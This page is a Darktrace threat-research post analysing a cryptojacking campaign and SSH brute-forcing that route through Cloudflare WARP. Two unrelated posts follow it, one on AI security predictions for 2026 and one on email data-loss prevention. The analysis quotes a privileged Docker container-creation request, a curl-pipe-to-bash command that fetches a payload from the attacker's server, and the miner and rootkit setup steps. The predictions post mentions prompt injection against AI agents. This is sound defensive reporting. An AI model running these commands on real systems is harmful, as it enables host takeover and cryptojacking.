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July 17, 2024

WARPscan: Cloudflare WARP Abused to Hijack Cloud Services

Cado Security (now a part of Darktrace) found attackers are abusing Cloudflare's WARP service, a free VPN, to launch attacks. WARP traffic often bypasses firewalls due to Cloudflare's trusted status, making it harder to detect. Campaigns like "SSWW" cryptojacking and SSH brute-forcing exploit this trust, highlighting a significant security risk for organizations.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Nate Bill
Threat Researcher
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17
Jul 2024

Introduction: WARPscan

Researchers from Cado Security Labs (now part of Darktrace) have observed several recent campaigns making use of Cloudflare’s WARP[1] service in order to attack vulnerable internet-facing services. In this blog we will explain what Cloudflare WARP is, the implications for its use in opportunistic attacks, and provide a few case studies on real-world attacks taking advantage of WARP.

What is Cloudflare WARP?

Cloudflare WARP is effectively a Virtual Private Network (VPN) that uses Cloudflare’s international backbone to “optimize” user’s traffic. This is a free service, meaning anyone can download and use it for their own purposes. In practice, WARP just tunnels traffic to the nearest Cloudflare data center over a custom implementation of WireGuard, which they claim will speed up your connection.

Cloudflare WARP is designed to present the IP of the end user to Cloudflare CDN customers. However, attacks observed by Cado researchers exclusively connect directly to IP addresses rather than Cloudflare’s CDN, with the attacker in control of the transport and application layers. As such, it is not possible to determine the IP of the attackers.

Implications of attacks originating from WARP

Network administrators are far more likely to inherently trust or overlook traffic originating from Cloudflare’s ASN as it is not a common attack origin, and is often used in many organizations as a part of regular business operations. As a result of this, the IP ranges used by WARP may even be allowed in firewalls, and might be missed during triage of alerts by Security Operations Center (SOC) teams.

Cado Security has observed several threads on sysadmin forums, where network operators are advised to “allowlist” all of Cloudflare’s IP ranges instead of just those specific to a given service, which is a serious security risk that makes their infrastructure directly vulnerable to attackers using WARP to launch their attacks.

These factors make attacks using WARP potentially more dangerous unless an organization takes preventive action, such as educating security teams and ensuring WARP IP ranges are not included in Cloudflare related firewall rules.

Case study - SSWW mining campaign

The SSWW campaign is a novel cryptojacking campaign targeting exposed Docker which utilizes Cloudflare WARP for initial access. Based on the TLS certificate used by the C2 server, it would appear that the C2 was created on September 5, 2023. However, the first attack detected against Cado’s honeypot infrastructure was on February 21, 2024, which lines up with the dropped payload’s Last-Modified header of February 20, the day before. This is likely when the current campaign began.

IPv4 TCP (PA) 104.28.247.120:19736 -> redacted:2375 POST /containers/create 
HTTP/1.1 
Host: redacted:2375 
Accept-Encoding: identity 
User-Agent: Docker-Client/20.10.17 (linux) 
Content-Length: 245 
Content-Type: application/json 
{"Image": "61395b4c586da2b9b3b7ca903ea6a448e6783dfdd7f768ff2c1a0f3360aaba99", "Entrypoint": ["sleep", "3600"], "User": "root", "HostConfig": {"Binds": ["/:/h"], "NetworkMode": "host", "PidMode": "host", "Privileged": true, "UsernsMode": "host"}}  

The attack began with a container being created with elevated permissions, and access to the host. The image used is simply selected from images that are already available on the host, so the attacker does not have to download any new images.

The attacker then creates a Docker VND stream in order to run commands within the created container:

{"AttachStdout": true, "AttachStderr": true, "Privileged": true, "Cmd": ["chroot", "/h", "bash", "-c", "curl -k https://85[.]209.153.27:58282/ssww | bash"]}

This downloads the main SSWW script from the attacker’s command and control (C2) infrastructure and sets it running. The SSWW script is fairly straightforward and does the following set up tasks:

  • Attempts to stop “systemd” services that belong to competing miners.
  • Exits if the system is already infected by the SSWW campaign.
  • Disables “SELinux”.
  • Sets up huge pages and enables drop_caches, common XMRig optimizations
  • Downloads https://94[.]131.107.38:58282/sst, an XMRig miner with embedded config, and saves it as /var/spool/.system
  • Attempts to download and compile https://94[.]131.107.38:58282/phsd2.c, which is a simple off-the-shelf process hider designed to hide the .system process. If this fails, it will download https://94[.]131.107.38:58282/li instead. The resultant binary of either of these processes is saved to /usr/lib/libsystemd-shared-165.so
  • Adds the above to /etc/ld.so.preload such that it acts as a usermode rootkit.
  • Saves https://94[.]131.107.38:58282/aa82822, a SystemD unit file for running /var/spool/.system, to /lib/systemd/system/cdngdn.service, and then enables it.

The configuration file can be extracted out of the miner, and observe that it is using the wallet address:  44EP4MrMADSYSxmN7r2EERgqYBeB5EuJ3FBEzBrczBRZZFZ7cKotTR5airkvCm2uJ82nZHu8U3YXbDXnBviLj3er7XDnMhP on the monero ocean gulf mining pool. We can then use the mining pool’s wallet lookup feature to determine the attacker has made a total of 9.57 XMR (~£1269 at time of writing).

While using Cloudflare WARP affords the attacker a layer of anonymity, we can see the IPs the attacks originate from are consistently deriving from the Cloudflare data center in Zagreb, Croatia. As Cloudflare WARP will use the nearest data center, this suggests that the attacker’s scan server is located in Croatia. The C2 IPs on the other hand are hosted using a Netherlands-based VPS provider.

The main benefit to the attacker of using Cloudflare WARP is likely the relative anonymity afforded by WARP, as well as the reduced suspicion around traffic related to Cloudflare. It is possible that some improperly configured systems that allow all Cloudflare traffic have been compromised as a result of this, however, it is not possible to say with certainty without having access to all compromised hosts infected by the malware.

Case study - opportunistic SSH attacks

Since 2022, Cado Security has been tracking SSH attacks originating from WARP addresses. Initially these were fairly limited, however around the end of 2023 they surged to a few thousand per month. These frequently rise and fall with quite a high velocity, suggesting that the surges are the result of individual campaigns rather than a more general trend.

A screenshot of a graphAI-generated content may be incorrect.
Figure 1: SSH attacks originating from WARP addresses since the end of 2023

Interestingly, a number of SSH campaigns we have seen previously originating from commonly abused VPS providers now appear to have migrated to using Cloudflare WARP. As these VPS providers are soft on abuse, it is unlikely that the purpose of this was for anonymity. Instead, the attackers are likely trying to take advantage of Cloudflare’s “clean” IP ranges (many “dirty” ranges belonging to bulletproof hosting are blocklisted, e.g. by spamhaus [2]), as well as the higher likelihood of the Cloudflare ranges being overlooked or blindly allowed in the victim’s firewall.

All of the attacks seen so far from Cloudflare WARP appear to be simple SSH brute forcing attacks, however it is alleged that the recent CVE-2024-6387 is now being exploited in the wild [3]. An attacker could perform this exploit via Cloudflare WARP in order to take advantage of overly trusting firewalls to attack organizations that may not otherwise have the vulnerable SSH server exposed.

Conclusion

The main threat posed by attackers using Cloudflare’s WARP service is the inherent trust administrators may have in traffic originating from Cloudflare, and the dangerous advice to “allow all Cloudflare IPs” being circulated online. Ensure your organization has not granted permission for 104[.]28.0.0/16 in your firewall. Follow a defense in-depth approach and additionally ensure services such as SSH have strong authentication (via SSH keys instead of passwords) and are up-to-date. Do not expose Docker to the internet, even if it is behind a firewall.

References:

[1] https://one.one.one.one/

[2] https://www.spamhaus.org/blocklists/spamhaus-blocklist/

[3] https://veriti.ai/blog/regresshion-cve-2024-6387-a-targeted-exploit-in-the-wild/

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Nate Bill
Threat Researcher

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December 22, 2025

The Year Ahead: AI Cybersecurity Trends to Watch in 2026

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Introduction: 2026 cyber trends

Each year, we ask some of our experts to step back from the day-to-day pace of incidents, vulnerabilities, and headlines to reflect on the forces reshaping the threat landscape. The goal is simple:  to identify and share the trends we believe will matter most in the year ahead, based on the real-world challenges our customers are facing, the technology and issues our R&D teams are exploring, and our observations of how both attackers and defenders are adapting.  

In 2025, we saw generative AI and early agentic systems moving from limited pilots into more widespread adoption across enterprises. Generative AI tools became embedded in SaaS products and enterprise workflows we rely on every day, AI agents gained more access to data and systems, and we saw glimpses of how threat actors can manipulate commercial AI models for attacks. At the same time, expanding cloud and SaaS ecosystems and the increasing use of automation continued to stretch traditional security assumptions.

Looking ahead to 2026, we’re already seeing the security of AI models, agents, and the identities that power them becoming a key point of tension – and opportunity -- for both attackers and defenders. Long-standing challenges and risks such as identity, trust, data integrity, and human decision-making will not disappear, but AI and automation will increase the speed and scale of the cyber risk.  

Here's what a few of our experts believe are the trends that will shape this next phase of cybersecurity, and the realities organizations should prepare for.  

Agentic AI is the next big insider risk

In 2026, organizations may experience their first large-scale security incidents driven by agentic AI behaving in unintended ways—not necessarily due to malicious intent, but because of how easily agents can be influenced. AI agents are designed to be helpful, lack judgment, and operate without understanding context or consequence. This makes them highly efficient—and highly pliable. Unlike human insiders, agentic systems do not need to be socially engineered, coerced, or bribed. They only need to be prompted creatively, misinterpret legitimate prompts, or be vulnerable to indirect prompt injection. Without strong controls around access, scope, and behavior, agents may over-share data, misroute communications, or take actions that introduce real business risk. Securing AI adoption will increasingly depend on treating agents as first-class identities—monitored, constrained, and evaluated based on behavior, not intent.

-- Nicole Carignan, SVP of Security & AI Strategy

Prompt Injection moves from theory to front-page breach

We’ll see the first major story of an indirect prompt injection attack against companies adopting AI either through an accessible chatbot or an agentic system ingesting a hidden prompt. In practice, this may result in unauthorized data exposure or unintended malicious behavior by AI systems, such as over-sharing information, misrouting communications, or acting outside their intended scope. Recent attention on this risk—particularly in the context of AI-powered browsers and additional safety layers being introduced to guide agent behavior—highlights a growing industry awareness of the challenge.  

-- Collin Chapleau, Senior Director of Security & AI Strategy

Humans are even more outpaced, but not broken

When it comes to cyber, people aren’t failing; the system is moving faster than they can. Attackers exploit the gap between human judgment and machine-speed operations. The rise of deepfakes and emotion-driven scams that we’ve seen in the last few years reduce our ability to spot the familiar human cues we’ve been taught to look out for. Fraud now spans social platforms, encrypted chat, and instant payments in minutes. Expecting humans to be the last line of defense is unrealistic.

Defense must assume human fallibility and design accordingly. Automated provenance checks, cryptographic signatures, and dual-channel verification should precede human judgment. Training still matters, but it cannot close the gap alone. In the year ahead, we need to see more of a focus on partnership: systems that absorb risk so humans make decisions in context, not under pressure.

-- Margaret Cunningham, VP of Security & AI Strategy

AI removes the attacker bottleneck—smaller organizations feel the impact

One factor that is currently preventing more companies from breaches is a bottleneck on the attacker side: there’s not enough human hacker capital. The number of human hands on a keyboard is a rate-determining factor in the threat landscape. Further advancements of AI and automation will continue to open that bottleneck. We are already seeing that. The ostrich approach of hoping that one’s own company is too obscure to be noticed by attackers will no longer work as attacker capacity increases.  

-- Max Heinemeyer, Global Field CISO

SaaS platforms become the preferred supply chain target

Attackers have learned a simple lesson: compromising SaaS platforms can have big payouts. As a result, we’ll see more targeting of commercial off-the-shelf SaaS providers, which are often highly trusted and deeply integrated into business environments. Some of these attacks may involve software with unfamiliar brand names, but their downstream impact will be significant. In 2026, expect more breaches where attackers leverage valid credentials, APIs, or misconfigurations to bypass traditional defenses entirely.

-- Nathaniel Jones, VP of Security & AI Strategy

Increased commercialization of generative AI and AI assistants in cyber attacks

One trend we’re watching closely for 2026 is the commercialization of AI-assisted cybercrime. For example, cybercrime prompt playbooks sold on the dark web—essentially copy-and-paste frameworks that show attackers how to misuse or jailbreak AI models. It’s an evolution of what we saw in 2025, where AI lowered the barrier to entry. In 2026, those techniques become productized, scalable, and much easier to reuse.  

-- Toby Lewis, Global Head of Threat Analysis

Conclusion

Taken together, these trends underscore that the core challenges of cybersecurity are not changing dramatically -- identity, trust, data, and human decision-making still sit at the core of most incidents. What is changing quickly is the environment in which these challenges play out. AI and automation are accelerating everything: how quickly attackers can scale, how widely risk is distributed, and how easily unintended behavior can create real impact. And as technology like cloud services and SaaS platforms become even more deeply integrated into businesses, the potential attack surface continues to expand.  

Predictions are not guarantees. But the patterns emerging today suggest that 2026 will be a year where securing AI becomes inseparable from securing the business itself. The organizations that prepare now—by understanding how AI is used, how it behaves, and how it can be misused—will be best positioned to adopt these technologies with confidence in the year ahead.

Learn more about how to secure AI adoption in the enterprise without compromise by registering to join our live launch webinar on February 3, 2026.  

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December 22, 2025

Why Organizations are Moving to Label-free, Behavioral DLP for Outbound Email

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Why outbound email DLP needs reinventing

In 2025, the global average cost of a data breach fell slightly — but remains substantial at USD 4.44 million (IBM Cost of a Data Breach Report 2025). The headline figure hides a painful reality: many of these breaches stem not from sophisticated hacks, but from simple human error: mis-sent emails, accidental forwarding, or replying with the wrong attachment. Because outbound email is a common channel for sensitive data leaving an organization, the risk posed by everyday mistakes is enormous.

In 2025, 53% of data breaches involved customer PII, making it the most commonly compromised asset (IBM Cost of a Data Breach Report 2025). This makes “protection at the moment of send” essential. A single unintended disclosure can trigger compliance violations, regulatory scrutiny, and erosion of customer trust –consequences that are disproportionate to the marginal human errors that cause them.

Traditional DLP has long attempted to mitigate these impacts, but it relies heavily on perfect labelling and rigid pattern-matching. In reality, data loss rarely presents itself as a neat, well-structured pattern waiting to be caught – it looks like everyday communication, just slightly out of context.

How data loss actually happens

Most data loss comes from frustratingly familiar scenarios. A mistyped name in auto-complete sends sensitive data to the wrong “Alex.” A user forwards a document to a personal Gmail account “just this once.” Someone shares an attachment with a new or unknown correspondent without realizing how sensitive it is.

Traditional, content-centric DLP rarely catches these moments. Labels are missing or wrong. Regexes break the moment the data shifts formats. And static rules can’t interpret the context that actually matters – the sender-recipient relationship, the communication history, or whether this behavior is typical for the user.

It’s the everyday mistakes that hurt the most. The classic example: the Friday 5:58 p.m. mis-send, when auto-complete selects Martin, a former contractor, instead of Marta in Finance.

What traditional DLP approaches offer (and where gaps remain)

Most email DLP today follows two patterns, each useful but incomplete.

  • Policy- and label-centric DLP works when labels are correct — but content is often unlabeled or mislabeled, and maintaining classification adds friction. Gaps appear exactly where users move fastest
  • Rule and signature-based approaches catch known patterns but miss nuance: human error, new workflows, and “unknown unknowns” that don’t match a rule

The takeaway: Protection must combine content + behavior + explainability at send time, without depending on perfect labels.

Your technology primer: The three pillars that make outbound DLP effective

1) Label-free (vs. data classification)

Protects all content, not just what’s labeled. Label-free analysis removes classification overhead and closes gaps from missing or incorrect tags. By evaluating content and context at send time, it also catches misdelivery and other payload-free errors.

  • No labeling burden; no regex/rule maintenance
  • Works when tags are missing, wrong, or stale
  • Detects misdirected sends even when labels look right

2) Behavioral (vs. rules, signatures, threat intelligence)

Understands user behavior, not just static patterns. Behavioral analysis learns what’s normal for each person, surfacing human error and subtle exfiltration that rules can’t. It also incorporates account signals and inbound intel, extending across email and Teams.

  • Flags risk without predefined rules or IOCs
  • Catches misdelivery, unusual contacts, personal forwards, odd timing/volume
  • Blends identity and inbound context across channels

3) Proprietary DSLM (vs. generic LLM)

Optimized for precise, fast, explainable on-send decisions. A DSLM understands email/DLP semantics, avoids generative risks, and stays auditable and privacy-controlled, delivering intelligence reliably without slowing mail flow.

  • Low-latency, on-send enforcement
  • Non-generative for predictable, explainable outcomes
  • Governed model with strong privacy and auditability

The Darktrace approach to DLP

Darktrace / EMAIL – DLP stops misdelivery and sensitive data loss at send time using hold/notify/justify/release actions. It blends behavioral insight with content understanding across 35+ PII categories, protecting both labeled and unlabeled data. Every action is paired with clear explainability: AI narratives show exactly why an email was flagged, supporting analysts and helping end-users learn. Deployment aligns cleanly with existing SOC workflows through mail-flow connectors and optional Microsoft Purview label ingestion, without forcing duplicate policy-building.

Deployment is simple: Microsoft 365 routes outbound mail to Darktrace for real-time, inline decisions without regex or rule-heavy setup.

A buyer’s checklist for DLP solutions

When choosing your DLP solution, you want to be sure that it can deliver precise, explainable protection at the moment it matters – on send – without operational drag.  

To finish, we’ve compiled a handy list of questions you can ask before choosing an outbound DLP solution:

  • Can it operate label free when tags are missing or wrong? 
  • Does it truly learn per user behavior (no shortcuts)? 
  • Is there a domain specific model behind the content understanding (not a generic LLM)? 
  • Does it explain decisions to both analysts and end users? 
  • Will it integrate with your label program and SOC workflows rather than duplicate them? 

For a deep dive into Darktrace’s DLP solution, check out the full solution brief.

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About the author
Carlos Gray
Senior Product Marketing Manager, Email
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